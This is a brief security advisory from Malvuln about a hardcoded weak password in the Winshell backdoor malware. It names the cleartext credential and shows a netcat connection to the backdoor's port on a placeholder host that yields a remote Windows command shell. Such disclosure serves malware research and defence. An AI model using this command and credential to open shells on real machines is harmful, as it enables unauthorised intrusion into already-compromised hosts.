Backdoor.Win32.Winshell.5_0 malware suffers from a hardcoded credential vulnerability.
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/5bc5f72d19019a2fa3b75896e82ae1e5.txt
Contact: [email protected]
Vulnerability: Weak Hardcoded Credentials
Description: The malware is UPX packed, listens on TCP port 5277 and requires authentication for remote access. However, the password "123456789" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.
Vuln ID: MVID-2022-0633
C:>nc64.exe x.x.x.x 5277
WinShell v5.0 (C)2002 janker.org
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Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
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